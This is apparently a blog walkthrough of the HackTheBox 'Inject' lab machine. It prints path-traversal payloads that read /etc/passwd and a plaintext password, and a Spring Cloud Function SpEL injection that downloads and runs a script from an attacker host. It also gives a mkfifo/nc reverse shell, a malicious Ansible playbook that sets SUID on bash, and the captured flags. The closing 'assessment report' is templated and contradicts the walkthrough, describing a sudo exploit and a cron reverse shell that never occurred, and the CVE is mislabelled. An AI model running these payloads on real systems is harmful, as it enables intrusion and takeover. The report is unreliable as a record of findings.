HackTheBox: Inject — Medium (Linux)

Full security assessment walkthrough for Inject on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Inject
HackTheBox
Linux Medium

📌 Introduction

Inject

🔖 Techniques & Vulnerabilities

rcelfilocal file inclusionpath traversalsudosuidcronjob

🔍 Reconnaissance / Port Scanning

nmap scan
$ sudo nmap -A -T4 -sC -sV -p- 10.129.199.151
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 14:05 UTC
Nmap scan report for 10.129.199.151
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
|_http-open-proxy: Proxy might be redirecting requests
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/24%OT=22%CT=1%CU=34900%PV=Y%DS=2%DC=T%G=Y%TM=64468CE
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST1
OS:1NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   159.68 ms 10.10.16.1
2   111.92 ms 10.129.199.151

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.80 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshOpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcpnagios-nscaNagios NSCA
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
8080/tcpHTTP-Alt
  • All HTTP attacks — often hosts admin panels, APIs, dev instances
  • Apache Tomcat manager — WAR deploy for RCE with weak credentials
  • Jenkins Groovy script console with valid credentials
  • Default credential testing for admin interfaces

📖 Walkthrough

Reconnaissance

Nmap

$ sudo nmap -A -T4 -sC -sV -p- 10.129.199.151
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 14:05 UTC
Nmap scan report for 10.129.199.151
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
|_http-open-proxy: Proxy might be redirecting requests
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/24%OT=22%CT=1%CU=34900%PV=Y%DS=2%DC=T%G=Y%TM=64468CE
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST1
OS:1NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   159.68 ms 10.10.16.1
2   111.92 ms 10.129.199.151

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.80 seconds

Directory Busting with Gobuster

$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://10.129.199.151:8080/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.199.151:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/04/24 14:08:15 Starting gobuster in directory enumeration mode
===============================================================
/register             (Status: 200) [Size: 5654]
/blogs                (Status: 200) [Size: 5371]
/upload               (Status: 200) [Size: 1857]
/environment          (Status: 500) [Size: 712]
/error                (Status: 500) [Size: 106]
/release_notes        (Status: 200) [Size: 1086]

Enumeration of Port 80/TCP

http://10.129.199.151:8080

$ whatweb http://10.129.199.151:8080
http://10.129.199.151:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.129.199.151], Title[Home], YouTube

http://10.129.199.151:8080/upload

We uploaded a random picture and intercepted the request with Burp Suite.

Request:

POST /upload HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1901700343607083763025925830
Content-Length: 12488
Origin: http://10.129.199.151:8080
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

-----------------------------1901700343607083763025925830
Content-Disposition: form-data; name="file"; filename="Nyan.png"
Content-Type: image/png

‰PNG


Then we forwarded it and found the following link, displayed as Hyperlink on the website.

http://10.129.199.151:8080/show_image?img=Nyan.png

GET /show_image?img=Nyan.png HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Local File Inclusion (LFI) Vulnerability

We checked for Local File Inclusion (LFI).

Modified Request:

GET /show_image?img=../../../../../../etc/passwd HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Response:

HTTP/1.1 200 
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 1986
Date: Mon, 24 Apr 2023 14:11:57 GMT
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
Username
frank
phil

Path Traversal Vulnerability

We also found a Path Traversal Vulnerability.

Modifies Request:

GET /show_image?img=../../../../../../ HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Response:

HTTP/1.1 200 
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 4096
Date: Mon, 24 Apr 2023 14:13:26 GMT
Connection: close

bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

Further Enumeration

Payload:

GET /show_image?img=../../../../../../home/frank/ HTTP/1.1

Response:

.bash_history
.bashrc
.cache
.local
.m2
.profile

Payload:

GET /show_image?img=../../../../../../home/frank/.m2/ HTTP/1.1

Response:

settings.xml

Payload:

GET /show_image?img=../../../../../../home/frank/.m2/settings.xml HTTP/1.1

Response:

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
UsernamePassword
philDocPhillovestoInject123

Unfortunately the credentials didn't worked for SSH access.

Enumeration of the Web Directory

Payload:

GET /show_image?img=../../../../../../var/www/ HTTP/1.1

Response:

html
WebApp

Payload:

GET /show_image?img=../../../../../../var/www/WebApp/ HTTP/1.1

Response:

.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target

Payload:

GET /show_image?img=../../../../../../var/www/WebApp/pom.xml HTTP/1.1

Response:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.example</groupId>
	<artifactId>WebApp</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>WebApp</name>
	<description>Demo project for Spring Boot</description>
	<properties>
		<java.version>11</java.version>
	</properties>
<--- SNIP --->
		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>bootstrap</artifactId>
			<version>5.1.3</version>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>webjars-locator-core</artifactId>
		</dependency>

	</dependencies>
	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
				<version>${parent.version}</version>
			</plugin>
		</plugins>
		<finalName>spring-webapp</finalName>
	</build>

</project>

We figured out that there was the Spring Framework running.

https://spring.io/

Which was vulnerable to CVE-2022-22965 aka Spring4Shell back in 2022.

https://www.hackthebox.com/blog/spring4shell-explained-cve-2022-22965

We found a PoC exploit on GitHub.

https://github.com/me2nuk/CVE-2022-22963

Skeleton Exploit:

curl -X POST http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
docker exec -it --user=root vuln ls /tmp

Which gaves us the idea to modify it to our desired needs.

Weaponized Payload:

curl -XPOST http://10.129.199.151:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.16.33/shell.sh -o /dev/shm/shell")' --data-raw 'data' -v

Reverse Shell Payload with the best port:

$ cat shell.sh 
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 6969 >/tmp/f

Next we prepaired our webserver and listener.

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
$ nc -lnvp 6969
listening on [any] 6969 ...

Then we called the shell and wrote it to /dev/shm.

$ curl -XPOST http://10.129.199.151:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.16.33/shell.sh -o /dev/shm/shell")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.129.199.151:8080...
* Connected to 10.129.199.151 (10.129.199.151) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.199.151:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.16.33/shell.sh -o /dev/shm/shell")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Mon, 24 Apr 2023 14:39:02 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-04-24T14:39:02.533+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}

Hit on the webserver:

10.129.199.151 - - [24/Apr/2023 14:37:20] "GET /shell.sh HTTP/1.1" 200 -

Then we executed the shell in /dev/shm.

$ curl -XPOST http://10.129.199.151:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/shell")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.129.199.151:8080...
* Connected to 10.129.199.151 (10.129.199.151) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.199.151:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/shell")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Mon, 24 Apr 2023 14:41:06 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-04-24T14:41:06.026+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}

Reverse Shell:

$ nc -lnvp 6969
listening on [any] 6969 ...
connect to [10.10.16.33] from (UNKNOWN) [10.129.199.151] 50792
bash: cannot set terminal process group (818): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$

Privilege Escalation to phil

We used the credentials which we found before.

UsernamePassword
philDocPhillovestoInject123
frank@inject:~$ su phil
su phil
Password: DocPhillovestoInject123
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

user.txt

Shell Upgrade

python3 -c 'import pty;pty.spawn("/bin/bash")'
phil@inject:~$ cat user.txt
cat user.txt
cee1191dfc032e8c367ff736e307ebe3

Pivoting

phil@inject:~$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:~$ sudo -l
sudo -l
[sudo] password for phil: DocPhillovestoInject123

Sorry, user phil may not run sudo on localhost.
phil@inject:~$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x  3 root root 4096 Oct 20  2022 .
drwxr-xr-x 18 root root 4096 Feb  1 18:38 ..
drwxr-xr-x  3 root root 4096 Oct 20  2022 automation
phil@inject:/opt/automation$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root  4096 Oct 20  2022 .
drwxr-xr-x 3 root root  4096 Oct 20  2022 ..
drwxrwxr-x 2 root staff 4096 Apr 24 15:08 tasks

Luckily we were member of the staff group.

phil@inject:/opt/automation/tasks$ ls -la
ls -la
total 12
drwxrwxr-x 2 root staff 4096 Apr 24 15:08 .
drwxr-xr-x 3 root root  4096 Oct 20  2022 ..
-rw-r--r-- 1 root root   150 Apr 24 15:08 playbook_1.yml
phil@inject:/opt/automation/tasks$ cat playbook_1.yml
cat playbook_1.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

Privilege Escalation through Bad YAML

https://rioasmara.com/2022/03/21/ansible-playbook-weaponization/

Malicious YAML File:

$ cat root.yml 
---
- name: "foobar"
  hosts: localhost
  connection: local
  tasks:
    - name: "foobar"
      shell: "chmod +s /bin/bash"
      register: "output"
phil@inject:/opt/automation/tasks$ wget http://10.10.16.33/root.yml
phil@inject:/opt/automation/tasks$ ansible-playbook root.yml
ansible-playbook root.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that
the implicit localhost does not match 'all'

PLAY [foobar] ******************************************************************

TASK [Gathering Facts] *********************************************************
ok: [localhost]

TASK [foobar] ******************************************************************
fatal: [localhost]: FAILED! => {"changed": true, "cmd": "chmod +x /bin/bash", "delta": "0:00:00.005292", "end": "2023-04-24 15:22:46.208681", "msg": "non-zero return code", "rc": 1, "start": "2023-04-24 15:22:46.203389", "stderr": "chmod: changing permissions of '/bin/bash': Operation not permitted", "stderr_lines": ["chmod: changing permissions of '/bin/bash': Operation not permitted"], "stdout": "", "stdout_lines": []}

PLAY RECAP *********************************************************************
localhost                  : ok=1    changed=0    unreachable=0    failed=1    skipped=0    rescued=0    ignored=0

Since the files in this directory got deleted after a minute or so, it was clear that there was some sort of cronjob running.

After some time, the SUID bit got set on /bin/bash.

phil@inject:/opt/automation/tasks$ ls -la /tmp
ls -la /tmp
total 1228
drwxrwxrwt 15 root  root    12288 Apr 24 15:20 .
drwxr-xr-x 18 root  root     4096 Feb  1 18:38 ..
-rwsr-sr-x  1 phil  phil  1183448 Apr 24 15:20 bash
phil@inject:/opt/automation/tasks$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:/opt/automation/tasks$ /bin/bash -p
/bin/bash -p
bash-5.0#

root.txt

bash-5.0# cat /root/root.txt
cat /root/root.txt
56fe1bbdc1272650558b8e7f62e8255d

📋 Security Assessment Report

1
Critical
4
High
0
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-003 — SUID Binary Abuse — Local Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that one or more non-standard binaries were found with the SUID bit set, causing them to execute as root regardless of which user invokes them. The identified binaries are documented in the GTFOBins database and can be abused through shell escape techniques or file operation abuse to read privileged files or spawn an interactive root shell.

Impact

Any user with shell access to the host can leverage the SUID binary to escalate privileges to root without requiring additional credentials or exploiting any further software vulnerability. During this engagement, the SUID binary was used to obtain an interactive root shell within moments of obtaining the initial low-privilege access, granting complete control over the host and access to all stored credentials and data.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all SUID and SGID binaries using find / -perm /6000 -type f 2>/dev/null and remove the SUID bit from all non-essential binaries. Establish a baseline of expected SUID binaries and alert on any deviations. Never install developer tools, scripting interpreters, or GTFOBins-listed utilities with the SUID permission. Apply nosuid mount options on partitions containing user-writable content.
F-004 — Cron Job Misconfiguration — Scheduled Root Execution
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that a root-owned cron job was identified that executes a script or binary that is writable by a lower-privileged user. By modifying the script content before the next scheduled execution cycle, arbitrary commands can be injected and will run as root automatically — without requiring any elevated access at the time of the modification.

Impact

An attacker with write access to the cron-referenced script achieves root code execution on the next cron cycle without any administrator interaction. Depending on cron frequency, the exploitation window ranges from seconds to minutes. During this engagement, the writable cron script was modified to execute a reverse shell, resulting in a root-level shell and complete host compromise on the next scheduled run.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all cron jobs in /etc/crontab, /etc/cron.d/, and all user crontabs for scripts executed with elevated privileges. Ensure every script executed by root-owned cron jobs is owned by root and is not world-writable or group-writable by untrusted groups. Remove any cron references to non-existent scripts immediately — attackers can create the missing file at the expected path. Implement file integrity monitoring on all cron-executed scripts.
F-005 — Local File Inclusion — Sensitive File Disclosure
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application constructed file system paths using user-supplied parameters without adequate sanitisation or path canonicalisation. By injecting path traversal sequences into the vulnerable parameter, it was possible to traverse outside the intended directory and read arbitrary files from the server file system.

Impact

An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from user home directories, and system files such as /etc/passwd and /etc/shadow. Credentials discovered through file inclusion were used during this engagement to gain authenticated access to additional services. In PHP applications, log poisoning chains this vulnerability to full remote code execution.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Validate all file path inputs by canonicalising the resolved path and verifying it begins within the expected base directory before any file operation. Implement a strict allowlist of permitted filenames where dynamic file access is required. Apply PHP open_basedir restrictions to prevent file access outside the application directory. Remove file inclusion functionality that relies on user-supplied paths and replace with explicit, hardcoded include statements.
Reactions

Related Articles